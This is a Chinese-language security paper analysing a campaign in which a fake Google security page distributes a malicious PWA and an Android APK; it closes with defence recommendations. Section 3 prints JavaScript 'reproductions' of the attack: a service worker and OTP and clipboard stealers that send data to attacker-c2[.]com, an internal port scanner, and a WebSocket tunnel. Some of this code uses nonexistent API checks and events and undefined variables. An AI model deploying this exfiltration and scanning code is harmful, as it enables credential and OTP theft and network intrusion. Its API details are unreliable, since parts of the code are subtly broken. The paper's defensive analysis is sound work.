摘要
随着渐进式Web应用(Progressive Web Apps, PWA)技术的成熟与普及,其“类原生”的体验特性正被网络犯罪团伙恶意利用,演变为新型高级持续性威胁(APT)的载体。本文以近期曝光的利用伪造Google安全页面(google-prism[.]com)分发恶意PWA的攻击活动为研究对象,深入剖析了该攻击链的社会工程学诱导机制、技术实现原理及多维数据窃取路径。研究发现,攻击者通过精心设计的四步交互流程,诱导用户授予包括通知推送、剪贴板读取及地理位置在内的高危权限,并利用WebOTP API拦截短信验证码,进而结合配套的Android恶意应用构建起“端云协同”的窃密网络。该PWA不仅具备传统钓鱼的信息收集功能,更异化为网络代理与内网端口扫描工具,极大地扩展了攻击面。反网络钓鱼技术专家芦笛指出,此类攻击的核心在于利用了用户对PWA安装机制的信任盲区以及浏览器权限模型的语义模糊性。本文通过代码复现关键攻击逻辑,揭示了WebOTP滥用与服务工作者(Service Worker)持久化控制的深层风险,并据此提出了一套涵盖浏览器内核增强、权限动态审计及用户行为感知的综合防御策略,旨在为应对日益复杂的Web端混合威胁提供理论依据与技术参考。
1. 引言
在移动互联网与Web技术深度融合的当下,渐进式Web应用(PWA)凭借其跨平台、免安装、离线可用及推送通知等优势,成为了提升用户体验的重要技术范式。然而,技术的两面性使得PWA迅速成为网络攻击者的新宠。与传统恶意软件不同,基于PWA的攻击无需经过应用商店的严格审核,仅需用户点击“安装”即可在设备上获得近乎原生的执行权限,且能够绕过部分传统杀毒软件的检测机制。
2026年初,安全研究人员披露了一起极具隐蔽性的钓鱼攻击活动。该活动利用域名google-prism[.]com构建了一个高仿真的Google账户安全页面,诱导用户下载并安装恶意PWA。该恶意应用不仅致力于窃取一次性密码(OTP)、加密货币钱包地址及联系人信息,更将受害者的浏览器劫持为攻击者的流量代理节点,并具备内网端口扫描能力。更为严重的是,该攻击还伴随着一个伪造成“关键安全更新”的配套Android应用,索取高达33项高危权限,形成了“Web端引流+客户端深潜”的立体化攻击体系。
这一案例标志着网络钓鱼攻击已从单纯的凭证窃取向系统级权限掠夺转变。攻击者不再满足于获取静态密码,而是试图通过PWA的持久化驻留能力,实现对用户设备的长期监控与控制。反网络钓鱼技术专家芦笛强调,这种攻击模式的演变反映了网络犯罪从“机会主义”向“工程化、体系化”的转型,传统的基于URL黑名单和特征码匹配的防御手段已难以奏效。
本文旨在通过对该案件的深度解构,系统分析恶意PWA的生成机制、权限滥用路径及数据外传策略。文章将首先梳理攻击链的社会工程学设计,揭示其如何利用品牌信任降低用户警惕;其次,从技术层面深入探讨WebOTP API、Service Worker及Push API的恶意利用方式,并通过代码示例复现核心攻击逻辑;再次,分析配套Android应用的权限组合拳及其危害;最后,基于反网络钓鱼技术专家芦笛提出的“零信任交互”理念,构建多层级的防御架构。本研究期望通过理论与实践的结合,填补当前针对PWA型钓鱼攻击研究的空白,提升整体网络安全防护水平。
2. 攻击链重构:社会工程学与PWA特性的耦合
本案的成功实施,依赖于精密的社会工程学设计与PWA技术特性的深度耦合。攻击者并未采用暴力破解或零日漏洞,而是利用用户对Google品牌的天然信任以及对PWA安装流程的认知偏差,构建了一条流畅且极具迷惑性的攻击路径。
2.1 品牌仿冒与心理诱导
攻击的首要环节是建立信任。攻击者注册了google-prism[.]com这一域名,其中"prism"一词常被用于科技项目的命名,极易让用户联想到Google内部的某个安全项目或测试版服务。页面UI设计高度还原了Google Material Design规范,从配色、字体到图标布局,均与真实的myaccount.google.com保持一致。这种视觉上的高保真度,使得普通用户在短时间内难以辨别真伪。
攻击流程被设计为四个步骤,每一步都经过精心编排以降低用户的心理防线:
第一步,页面提示检测到“异常登录活动”或“安全证书过期”,制造紧迫感(FOMO心理),促使用户立即采取行动。
第二步,引导用户进行所谓的“安全验证”,要求输入当前的Google账号密码。此时,攻击者可能并未直接窃取密码,而是将其作为后续步骤的“投名状”,让用户误以为已经进入了官方流程。
第三步,也是最关键的一步,提示用户需要安装“Google Security Shield”或类似名称的PWA以完成双重验证。这一步利用了用户对“安全工具”的渴求,将恶意软件的安装包装成安全加固的必要措施。
第四步,在安装完成后,引导用户授予一系列敏感权限,如通知、位置、剪贴板等,理由是“为了实时监控威胁”。
反网络钓鱼技术专家芦笛指出,这种“分步诱导”策略极其狡猾。它避免了在一次交互中索取过多权限而引发警觉,而是通过循序渐进的方式,让用户在不知不觉中交出了设备的控制权。每一步操作都有看似合理的解释,形成了一个逻辑自洽的欺骗闭环。
2.2 PWA安装机制的滥用
PWA的安装机制本意是为了方便用户将常用网站添加到主屏幕,以获得更好的体验。然而,在这一攻击中,该机制被异化为恶意软件的分发渠道。当用户点击“安装”按钮时,浏览器会触发beforeinstallprompt事件,弹出一个原生的安装对话框。由于该对话框由浏览器生成,带有浏览器的安全标识,用户往往误认为这是浏览器认可的安全行为,从而放心点击确认。
一旦安装成功,恶意PWA便会作为一个独立的应用图标出现在用户的主屏幕或应用列表中。与普通网页标签页不同,PWA拥有独立的窗口上下文,且能够通过Service Worker在后台持续运行。这意味着即使用户关闭了浏览器窗口,恶意代码仍可能在后台活跃,监听系统事件或等待攻击者的指令。这种持久化能力是传统网页钓鱼所不具备的,也是本案危害性倍增的关键所在。
2.3 双端协同的攻击架构
本案的另一显著特征是“Web+Native”的双端协同。除了恶意的PWA外,攻击者还提供了一个配套的Android APK文件,伪装成“关键安全更新”。当用户在移动端访问钓鱼页面时,会被引导下载并安装该APK。
该Android应用请求了高达33项高危权限,包括读取短信(SMS)、通话记录、麦克风录音、辅助功能(Accessibility Services)等。其中,辅助功能权限的获取尤为危险,它允许应用模拟用户点击、读取屏幕内容,甚至控制其他应用的行为。结合PWA在Web端收集的数据(如浏览习惯、剪贴板内容),攻击者可以构建出受害者的完整数字画像,进而实施精准的金融诈骗或身份窃取。这种架构使得攻击者既能利用Web的便捷性进行大规模传播,又能利用Native应用的深度权限进行深层次渗透,形成了难以防御的混合威胁。
3. 核心技术漏洞解析与代码复现
为了深入理解恶意PWA的技术实现,本节将从代码层面解析攻击者如何利用Web API窃取敏感信息、拦截验证码及实现网络代理功能。以下代码示例基于公开的技术标准复现,旨在揭示攻击原理,供防御研究使用。
3.1 Service Worker的持久化与控制
Service Worker是PWA的核心组件,充当了网络代理的角色,能够拦截和处理网络请求。在恶意PWA中,Service Worker被用于维持持久连接、缓存恶意载荷以及在后台执行数据外传。
// sw.js - 恶意Service Worker示例
const CACHE_NAME = 'google-security-v1';
const C2_SERVER = 'https://attacker-c2[.]com/exfil';
// 安装阶段:缓存恶意Shell页面,确保离线可用
self.addEventListener('install', (event) => {
event.waitUntil(
caches.open(CACHE_NAME).then((cache) => {
return cache.addAll([
'/index.html',
'/manifest.json',
'/stealer.js' // 核心窃密脚本
]);
})
);
// 强制激活,接管所有受控页面
self.skipWaiting();
});
// 激活阶段:清理旧缓存,确立控制权
self.addEventListener('activate', (event) => {
event.waitUntil(self.clients.claim());
});
// 拦截 fetch 请求,实现流量代理与数据注入
self.addEventListener('fetch', (event) => {
const url = new URL(event.request.url);
// 策略:如果是敏感API请求,先记录再放行(或篡改)
if (url.pathname.includes('/api/otp') || url.pathname.includes('/wallet')) {
// 克隆请求以便读取body
const clone = event.request.clone();
clone.text().then(body => {
// 后台静默外传敏感数据
fetch(C2_SERVER, {
method: 'POST',
body: JSON.stringify({
target: url.href,
data: body,
timestamp: Date.now()
}),
mode: 'no-cors' // 避免CORS限制
});
});
}
// 正常响应或返回缓存的恶意页面
event.respondWith(
caches.match(event.request).then(response => {
return response || fetch(event.request);
})
);
});
// 定期心跳包,保持C2通道活跃
setInterval(() => {
navigator.sendBeacon(C2_SERVER + '/heartbeat', JSON.stringify({
status: 'active',
location: lastKnownLocation
}));
}, 60000);
上述代码展示了恶意Service Worker如何在安装后立即接管页面,并在后台静默外传敏感数据。fetch事件的监听使得攻击者能够窥探所有的网络通信,而setInterval配合sendBeacon则确保了即使页面不可见,也能定期向命令与控制(C2)服务器发送心跳,维持连接。反网络钓鱼技术专家芦笛强调,Service Worker的这种“中间人”能力,使得传统的HTTPS加密在端点侧失效,因为数据在解密后、发送给目标服务器前,已被恶意脚本截获。
3.2 WebOTP API的滥用与验证码拦截
WebOTP API允许Web应用自动读取特定的SMS短信,以简化双因素认证(2FA)流程。正常情况下,这需要短信内容包含特定的格式(如来源域名)。然而,攻击者利用社会工程学诱导用户手动授予权限,或通过精心构造的短信内容绕过部分检查,从而窃取OTP。
// stealer.js - 恶意窃密脚本
async function interceptOTP() {
if ('credentials' in navigator && 'PhoneNumberCredentials' in window) {
try {
// 请求读取OTP短信
const abortController = new AbortController();
const otp = await navigator.credentials.get({
otp: { transport: ['sms'] },
signal: abortController.signal
});
// 获取到的OTP代码
const code = otp.code;
console.log('Intercepted OTP:', code);
// 立即发送至C2服务器
await fetch('https://attacker-c2[.]com/otp', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ code: code, phone: otp.source })
});
// 可选:阻止默认行为,让用户重新输入以掩盖痕迹
// 或者将代码自动填入表单,完成登录后再窃取
} catch (err) {
console.error('OTP interception failed:', err);
// 降级方案:提示用户手动输入,并通过键盘记录器捕获
showFakeInputForm();
}
}
}
// 监听剪贴板事件
navigator.clipboard.addEventListener('readtext', () => {
// 某些浏览器需要用户交互才能读取,这里可能结合点击事件触发
});
async function stealClipboard() {
try {
const text = await navigator.clipboard.readText();
// 检查是否包含私钥、助记词或密码
if (isSensitive(text)) {
exfiltrateData({ type: 'clipboard', content: text });
}
} catch (err) {
// 权限被拒绝,记录日志
}
}
在本案中,攻击者利用WebOTP API直接读取包含验证码的短信,从而绕过了用户手动复制粘贴的步骤,实现了无感窃取。反网络钓鱼技术专家芦笛指出,WebOTP的设计初衷是提升用户体验,但在缺乏强身份绑定和用户明确意图验证的情况下,它成为了攻击者窃取2FA凭证的利器。一旦OTP被截获,攻击者即可在异地登录受害者账户,彻底突破安全防线。
3.3 网络代理与内网扫描
除了数据窃取,该PWA还被用作网络代理和扫描工具。利用WebRTC和Fetch API,攻击者可以探测用户内网IP地址,并尝试访问内网中的开放端口(如路由器管理界面、打印机、内部服务器等)。
// scanner.js - 内网扫描逻辑
async function scanInternalNetwork() {
const internalIPs = [
'192.168.1.1', '192.168.0.1', '10.0.0.1', '172.16.0.1'
];
const ports = [80, 443, 8080, 22, 23, 3389];
for (let ip of internalIPs) {
for (let port of ports) {
const url = `http://${ip}:${port}`;
try {
// 尝试发起请求,设置极短的超时时间
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 1000);
await fetch(url, {
mode: 'no-cors', // 关键:no-cors允许发送请求但无法读取响应内容
signal: controller.signal
});
clearTimeout(timeoutId);
// 如果请求未抛出异常(如网络错误),则推测端口开放
// 注意:no-cors模式下无法判断具体状态码,但可通过耗时或错误类型推断
reportOpenPort(ip, port);
} catch (e) {
// 请求失败,端口可能关闭或不可达
}
}
}
}
// 代理流量:将特定请求转发到C2
async function proxyRequest(targetUrl) {
// 实际场景中可能使用WebSocket建立长连接隧道
const ws = new WebSocket('wss://attacker-c2[.]com/tunnel');
ws.onopen = () => {
fetch(targetUrl)
.then(res => res.text())
.then(data => ws.send(data));
};
}
通过这种方式,攻击者可以将受害者的浏览器变成一个跳板,对内网进行侦察,甚至发起进一步的内网渗透攻击。这种“浏览器即代理”的模式,使得攻击流量看起来像是来自合法的用户IP,极大地增加了追踪和阻断的难度。
4. 配套Android应用的权限滥用与深度威胁
本案中的Android应用并非孤立存在,而是与PWA形成了互补。该应用伪装成“Google安全更新”,诱导用户手动安装(Sideloading),从而绕过了Google Play Protect的部分检测。
4.1 高危权限组合分析
该应用请求的33项权限中,以下几项最具破坏性:
READ_SMS / RECEIVE_SMS:直接读取所有短信内容,包括银行验证码、社交软件登录码等。这与PWA端的WebOTP形成双重保险,确保验证码不遗漏。
ACCESSIBILITY_SERVICE:辅助功能权限是Android恶意软件的“核武器”。一旦授予,应用可以模拟点击、读取屏幕内容、自动填写表单,甚至诱导用户授予其他权限。攻击者可利用此权限自动打开银行APP,执行转账操作。
RECORD_AUDIO / CAMERA:实时录音和摄像,用于窃听用户隐私或拍摄敏感文件。
SYSTEM_ALERT_WINDOW:允许应用在其它应用上层绘制悬浮窗,可用于覆盖合法应用的界面(Overlay Attack),诱导用户输入密码。
PACKAGE_USAGE_STATS:监控用户正在使用的应用,从而判断用户何时打开银行或加密货币钱包,触发针对性的攻击逻辑。
4.2 数据融合与精准诈骗
PWA收集的设备指纹、浏览历史、剪贴板数据,与Android应用获取的短信、通话记录、屏幕内容相结合,使得攻击者能够构建出极度详细的用户画像。例如,当监测到用户打开了某加密货币交易所APP时,恶意软件可立即启动屏幕录制,并通过辅助功能自动复制剪贴板中的钱包地址,替换为攻击者的地址,从而实现“无感调包”。
反网络钓鱼技术专家芦笛强调,这种“端云协同”的攻击模式,打破了Web与Native的界限,使得单一维度的防御(如仅查杀APK或仅过滤URL)彻底失效。必须建立跨域的情报关联分析机制,才能有效识别此类复合型威胁。
5. 防御策略与未来展望
面对日益 sophisticated 的PWA钓鱼攻击,必须构建多层次、立体化的防御体系。
5.1 浏览器内核的增强与权限细化
浏览器厂商应重新审视PWA的权限模型。
首先,对于WebOTP API的调用,应引入更严格的来源验证机制,确保只有经过认证的域名(如通过ACME协议验证)才能请求读取特定格式的短信,并强制要求用户在每次读取时进行显式确认,而非一次性授权。
其次,Service Worker的注册与激活过程应增加透明度。当网站尝试注册Service Worker时,浏览器应明确提示用户该应用将获得后台运行能力,并列出其计划拦截的网络范围。
反网络钓鱼技术专家芦笛建议,引入“权限最小化”原则,默认禁止PWA访问剪贴板、地理位置等敏感API,除非用户在该会话中进行了明确的交互操作(如点击粘贴按钮)。此外,应建立PWA信誉评分系统,对新注册的域名或频繁变更代码的PWA进行限制。
5.2 操作系统层面的管控
Android系统应加强对侧载应用(Sideloading)的监管。对于未通过Google Play分发的应用,系统应在安装时进行更深度的静态与动态分析,特别是针对申请辅助功能、短信读取等高危权限的应用,应弹出醒目的红色警告,并强制用户阅读风险提示。
同时,操作系统应提供“权限仪表盘”,让用户能清晰地看到每个应用(包括PWA)正在使用的权限及历史行为,并提供一键撤销功能。对于检测到异常行为(如后台频繁发送短信、大量网络请求)的应用,系统应具备自动熔断机制。
5.3 用户教育与意识提升
技术防御永远滞后于攻击手段的演进,用户教育至关重要。应普及“官方渠道唯一性”原则,告知用户Google等大厂的安全工具只会通过官方应用商店或官方网站(myaccount.google.com)提供,绝不会通过第三方链接或短信发送安装包。
反网络钓鱼技术专家芦笛强调,用户需培养“零信任”思维,对于任何要求安装应用、授予敏感权限的网页,无论其界面多么逼真,都应保持高度警惕。定期进行反钓鱼演练,提高用户对社工话术的识别能力,是减少此类案件发生的有效途径。
5.4 威胁情报共享与协同治理
鉴于攻击的跨国性,建立全球性的威胁情报共享平台势在必行。浏览器厂商、安全公司、执法机构应实时共享恶意域名、C2服务器IP、恶意代码指纹等信息。一旦发现新的PWA钓鱼活动,应立即在全球范围内更新黑名单,阻断其传播路径。同时,加强国际执法合作,打击背后的黑产团伙,从源头上遏制犯罪。
6. 结语
本次利用伪造Google安全页面分发恶意PWA的攻击活动,深刻揭示了Web技术演进带来的安全挑战。攻击者巧妙地利用了PWA的便捷性、WebOTP的高效性以及用户对品牌的信任,构建了一套集信息窃取、权限掠夺、网络代理于一体的复合型攻击体系。这不仅造成了巨大的经济损失,更严重侵蚀了用户对数字生态的信任基石。
通过对攻击链的深度复盘与技术解析,本文阐明了此类攻击的核心机制在于对权限模型的滥用与社会工程学的精细化运作。反网络钓鱼技术专家芦笛所指出的“信任盲区”与“语义模糊”问题,正是当前防御体系的软肋。未来的安全防护,不能仅依赖于特征匹配,而必须转向基于行为分析、上下文感知及零信任架构的动态防御。
浏览器厂商、操作系统开发者、安全研究机构及广大用户需共同努力,构建一个更加透明、可控、可信的Web环境。只有在技术创新的同时,同步提升安全治理的能力,才能有效抵御不断演变的网络威胁,保障数字经济的健康发展。本研究虽聚焦于具体案例,但其揭示的原理与提出的策略,对于应对未来可能出现的各类新型Web威胁具有普遍的参考价值。
编辑:芦笛(公共互联网反网络钓鱼工作组)